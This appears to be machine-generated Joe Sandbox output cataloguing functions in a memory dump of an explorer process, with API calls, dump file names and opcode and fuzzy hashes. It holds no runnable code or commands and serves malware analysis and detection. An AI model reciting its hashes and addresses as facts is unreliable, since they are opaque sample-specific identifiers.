Function 011A7E10 Relevance: 6.4, APIs: 5, Instructions: 179stringmemoryCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 011A7E5C
lstrlenW.KERNEL32 ref: 011A7ED7
LocalAlloc.KERNEL32 ref: 011A7EF4

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: lstrlen$AllocLocal
String ID:
API String ID: 2140729754-0
Opcode ID: bd9faf728ad4c72ec4bacf9dd23215c0e2a2fa92f6ce5d9ceb5c19a18cda9d0b
Instruction ID: 87bd3bea0a6debbe09f545340596b108f8038c551ae1a00238fa596b533cb465
Opcode Fuzzy Hash: bd9faf728ad4c72ec4bacf9dd23215c0e2a2fa92f6ce5d9ceb5c19a18cda9d0b
Instruction Fuzzy Hash: 6181CA76619A84CACB68CB29E48436ABBA0F3C8B95F504125E7DE83B58DF7DC545CF00

Function 011A8300 Relevance: 6.4, APIs: 5, Instructions: 175stringmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 011A834C
lstrlenA.KERNEL32 ref: 011A83C4
LocalAlloc.KERNEL32 ref: 011A83DE

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: lstrlen$AllocLocal
String ID:
API String ID: 2140729754-0
Opcode ID: 5f8aa4ab87cad69a3514eba26cde1d022795cdbff8f0086349863da9b0deaea0
Instruction ID: 1b1303424db48399e3ee2a11784896e29e3dc415a61a3a508c795779e0e60557
Opcode Fuzzy Hash: 5f8aa4ab87cad69a3514eba26cde1d022795cdbff8f0086349863da9b0deaea0
Instruction Fuzzy Hash: 5981CA76619A84CAC768CB19E48476ABBE1F7C8B95F504125EBCEC7B28DB7CC4458F00

Function 011AE4D0 Relevance: 6.3, APIs: 5, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 011AE4EC
LocalAlloc.KERNEL32 ref: 011AE516
LocalFree.KERNEL32 ref: 011AE555
LocalFree.KERNEL32 ref: 011AE572
LocalFree.KERNEL32 ref: 011AE57D

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc
String ID:
API String ID: 3098330729-0
Opcode ID: 95c7c02cb5a9c3c0012149c6f5b132b71bb915bcad97683c1d37726ad4c63fb8
Instruction ID: 212903bb007506be579d2453d147dea973817b16daf561ef316732fcf1c670cc
Opcode Fuzzy Hash: 95c7c02cb5a9c3c0012149c6f5b132b71bb915bcad97683c1d37726ad4c63fb8
Instruction Fuzzy Hash: A011A47A119B4486D728AF55F48439ABBA1F7C8798F440629EB8E43B68DF7CC585CF00

Function 0119FD90 Relevance: 6.2, APIs: 4, Instructions: 206comCOMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE ref: 0119FDC0
CoInitializeSecurity.COMBASE ref: 0119FE0D
CoCreateInstance.OLE32 ref: 0119FE37
CoUninitialize.COMBASE ref: 011A01C3

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Initialize$CreateInstanceSecurityUninitialize
String ID:
API String ID: 374467530-0
Opcode ID: 01f4831329a5563387f89c4824883f088de12b8d18de76738e488f0d589c6ac1
Instruction ID: 907812c4ec16dac64fabf1bee2466978c5fc67341fb0a4bea29caba271c888ba
Opcode Fuzzy Hash: 01f4831329a5563387f89c4824883f088de12b8d18de76738e488f0d589c6ac1
Instruction Fuzzy Hash: 4DA1F636209AC995DBB4DB11E8983DFB7A1F3D8794F804126DA8D43BA8DF78C549CB40

Function 011B0E30 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

Part of subcall function 011B0AC0: LocalAlloc.KERNEL32 ref: 011B0B2C

VirtualFree.KERNEL32 ref: 011B1222

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: AllocFreeLocalVirtual
String ID:
API String ID: 3333721195-0
Opcode ID: 76c2b0fe22ffe321a275c67454cdda88111c855abae9c27ec7195a6d11e406fb
Instruction ID: 46a0766699e2b31e852c094fffe60702100a50efa8a29586ae43d87ab7080937
Opcode Fuzzy Hash: 76c2b0fe22ffe321a275c67454cdda88111c855abae9c27ec7195a6d11e406fb
Instruction Fuzzy Hash: 58A1A836619B88C6DB64CB59F4907AAB7A0F7C8B94F514115EACE83B28DF3CC454CB01

Function 011C20B8 Relevance: 6.2, APIs: 4, Instructions: 159COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 011C2106
_invalid_parameter_noinfo.LIBCMT ref: 011C2111
DecodePointer.KERNEL32(?,?,?,?,?,011C0EAC,?,?,?,?,011BC4FE,?,?,?,?,011BC523), ref: 011C21C0
_lock.LIBCMT ref: 011C21EB

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: DecodePointer_errno_invalid_parameter_noinfo_lock
String ID:
API String ID: 27599310-0
Opcode ID: eaaec147ed81c0c0dc5c3833a3db641d4c97e0906736fbf4571d3f785fcdefcf
Instruction ID: 86b1158b0f4b98ccf6b42cbd1f09187ddf195d24951fc65303914910ae754c06
Opcode Fuzzy Hash: eaaec147ed81c0c0dc5c3833a3db641d4c97e0906736fbf4571d3f785fcdefcf
Instruction Fuzzy Hash: B951C33A60874097EB2DDF29E8803BA7B62F7E5F54F15452EDB9A43728DB38C542C201

Function 011C3F0C Relevance: 6.1, APIs: 4, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 011B951C: _getptd.LIBCMT ref: 011B952E

_errno.LIBCMT ref: 011C3F4A
_invalid_parameter_noinfo.LIBCMT ref: 011C3F54
_errno.LIBCMT ref: 011C3F78
_invalid_parameter_noinfo.LIBCMT ref: 011C3F82

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: _errno_invalid_parameter_noinfo$_getptd
String ID:
API String ID: 1297830140-0
Opcode ID: cf02349e387d3e4dfecf3681c0094f0a920e4057bdb0d520093da4d2c6150caa
Instruction ID: 65a1a1c685e55d7de5cd2c7515e1f35bc18e50af0030cc01595667f88e6eebc7
Opcode Fuzzy Hash: cf02349e387d3e4dfecf3681c0094f0a920e4057bdb0d520093da4d2c6150caa
Instruction Fuzzy Hash: 334113722187C286DB29DF29D1D42AE7BA0F7A4FD4F058129DB9A43B15CF38C456CB42

Function 011BB138 Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 011B8678: _getptd.LIBCMT ref: 011B867C

_getptd.LIBCMT ref: 011BB177

Part of subcall function 011BAD98: _amsg_exit.LIBCMT ref: 011BADAE

_SetImageBase.LIBCMT ref: 011BB24A
_getptd.LIBCMT ref: 011BB278
_getptd.LIBCMT ref: 011BB286

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: _getptd$BaseImage_amsg_exit
String ID:
API String ID: 2306399499-0
Opcode ID: 820a420128445b834781f5b02e45248ebb4483b0580a0986e614cad34156e6cf
Instruction ID: 089d7860cd9b975172f05b05b3090caa28e26cd153f3238ef7805b27c9051967
Opcode Fuzzy Hash: 820a420128445b834781f5b02e45248ebb4483b0580a0986e614cad34156e6cf
Instruction Fuzzy Hash: 8931B433305A4285DA2DAB1AE4C02EDABA5FBA5FDDF558621CE5943B70DB38D482C344

Function 011B6F00 Relevance: 6.1, APIs: 4, Instructions: 63synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 011B6F71
WaitForSingleObject.KERNEL32 ref: 011B6FA9
CloseHandle.KERNEL32 ref: 011B6FDC
CloseHandle.KERNEL32 ref: 011B700F

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: 888b41058b39ff49698322652d937c363c2f88c4d926ece529eddb611b94049f
Instruction ID: beb9c96f049136cabad3f75c88887e48a080399c931c87a99e6979c77c19fa21
Opcode Fuzzy Hash: 888b41058b39ff49698322652d937c363c2f88c4d926ece529eddb611b94049f
Instruction Fuzzy Hash: 6A31A432201B00C1DA28CB19E8D53E9A7B1F7E8B09F95166ED65F467B0DF3DDA86C604

Function 011B6F0E Relevance: 6.1, APIs: 4, Instructions: 61synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 011B6F71
WaitForSingleObject.KERNEL32 ref: 011B6FA9
CloseHandle.KERNEL32 ref: 011B6FDC
CloseHandle.KERNEL32 ref: 011B700F

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: bd4f2e530ef6c833281bc831b4e698a4f9f1fd3fa1c855f339cada12b6746046
Instruction ID: d818c5a6f880d72c1d946ca469214a9896302f2f3b7a1d595565560c12302bc2
Opcode Fuzzy Hash: bd4f2e530ef6c833281bc831b4e698a4f9f1fd3fa1c855f339cada12b6746046
Instruction Fuzzy Hash: 38319532201B00C1DA28CB19E8D53E9A7A1F7E8B09F95166ED65F467B0DF3DDA86C604

Function 011B6983 Relevance: 6.0, APIs: 4, Instructions: 47synchronizationnetworkCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 011B6556
WaitForSingleObject.KERNEL32 ref: 011B65A5
WaitForSingleObject.KERNEL32 ref: 011B69B1
WaitForSingleObject.KERNEL32 ref: 011B69DA
WSAEnumNetworkEvents.WS2_32 ref: 011B6A13
shutdown.WS2_32 ref: 011B6A44
closesocket.WS2_32 ref: 011B6A5A
CloseHandle.KERNEL32 ref: 011B6A70
shutdown.WS2_32 ref: 011B6E2E
closesocket.WS2_32 ref: 011B6E44
CloseHandle.KERNEL32 ref: 011B6E81
shutdown.WS2_32 ref: 011B6EB8
closesocket.WS2_32 ref: 011B6EC6
LocalFree.KERNEL32 ref: 011B6EE0

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: ObjectSingleWait$closesocketshutdown$CloseHandle$EnumEventsFreeLocalNetwork
String ID:
API String ID: 3044467104-0
Opcode ID: 81ccbe93b8fc7bd16980f115d78441d3d5af4185a1ed9f96ba58278dc336bfb5
Instruction ID: aa42db2ca95ef6643bc3354237ed789073272fa203de85142811fd94d617737c
Opcode Fuzzy Hash: 81ccbe93b8fc7bd16980f115d78441d3d5af4185a1ed9f96ba58278dc336bfb5
Instruction Fuzzy Hash: 8021B832159A84C6E73ADB18E4897DAB370F79C749F140215D2CA92A58CB7EC455CF00

Function 011B6574 Relevance: 6.0, APIs: 4, Instructions: 47synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 011B65A5
WaitForSingleObject.KERNEL32 ref: 011B65E6
WaitForMultipleObjects.KERNEL32 ref: 011B6925
shutdown.WS2_32 ref: 011B6E2E
closesocket.WS2_32 ref: 011B6E44
CloseHandle.KERNEL32 ref: 011B6E81
shutdown.WS2_32 ref: 011B6EB8
closesocket.WS2_32 ref: 011B6EC6
LocalFree.KERNEL32 ref: 011B6EE0

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Wait$ObjectSingleclosesocketshutdown$CloseFreeHandleLocalMultipleObjects
String ID:
API String ID: 785092289-0
Opcode ID: 7dd51d4a96154a47962f402dbd86dbbf85a6b52b987aef741ecd886394d83581
Instruction ID: 20fb25355d1e119c807ff6e4dd84f7f4e19f7fe98668efebcd06be9cb02a5d93
Opcode Fuzzy Hash: 7dd51d4a96154a47962f402dbd86dbbf85a6b52b987aef741ecd886394d83581
Instruction Fuzzy Hash: 8721BA32159A80C6E73BDB18E8897DAB370F7DC749F140215D6CA96A58CB7EC455CF01

Function 011C29E4 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

_lock.LIBCMT ref: 011C29F8

Part of subcall function 011C0C94: _amsg_exit.LIBCMT ref: 011C0CBE

fclose.LIBCMT ref: 011C2A28
DeleteCriticalSection.KERNEL32(?,?,?,?,?,011C0357), ref: 011C2A4C
free.LIBCMT ref: 011C2A5D

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CriticalDeleteSection_amsg_exit_lockfclosefree
String ID:
API String ID: 594724896-0
Opcode ID: aa6ca66c80873731f8a150e0b86dd53b8ef037a2e005e3ebe12fa3c1dbd2421b
Instruction ID: 1bfb7aec2f355e10651e7c1b39c901f9a8250509a988cf8c3a2383f27c83dabf
Opcode Fuzzy Hash: aa6ca66c80873731f8a150e0b86dd53b8ef037a2e005e3ebe12fa3c1dbd2421b
Instruction Fuzzy Hash: AE115E76114A4186E6289B1DE48439CB760F7E4F88F154229DB9A437B4CF35C452C708

Function 011BDB44 Relevance: 6.0, APIs: 4, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 011BDB4E

Part of subcall function 011BAD98: _amsg_exit.LIBCMT ref: 011BADAE

_lock.LIBCMT ref: 011BDB7C
free.LIBCMT ref: 011BDBB2
_amsg_exit.LIBCMT ref: 011BDBEB

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: _amsg_exit$_getptd_lockfree
String ID:
API String ID: 2148533958-0
Opcode ID: 7d5ec1c694969eec4ffcdf5f24f7f7717c51fab83522bc8814469292a1c3f9b2
Instruction ID: 43d8ac5138f7c6c13c8a0e2f006cc9411e980ddced7ee909f6307b6e4d69c912
Opcode Fuzzy Hash: 7d5ec1c694969eec4ffcdf5f24f7f7717c51fab83522bc8814469292a1c3f9b2
Instruction Fuzzy Hash: C1114536216B8086EFAD9B95E9807E97371F798B88F48407AEB5E03764DF38C054C710

Function 011BAC34 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

FlsFree.KERNEL32(?,?,?,?,011BAF69,?,?,00000000,011B994F), ref: 011BAC43
DeleteCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,011BAF69), ref: 011C0B3F
free.LIBCMT ref: 011C0B48
DeleteCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,011BAF69), ref: 011C0B6F

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CriticalDeleteSection$Freefree
String ID:
API String ID: 1250194111-0
Opcode ID: 86697225af0ef29e84d7c3c26fe1ad1d26f00b65429faf76b737e405a28afc94
Instruction ID: 6c274268e62b6ff2853ab336d84107eac767e9fa53a6a2195ec07a7c249c753d
Opcode Fuzzy Hash: 86697225af0ef29e84d7c3c26fe1ad1d26f00b65429faf76b737e405a28afc94
Instruction Fuzzy Hash: 09116539640A40C6EB1DDF19F8953987360F758FA8F5C0619FB5A072A5CB38C491C700

Function 011BE414 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 011BE41A

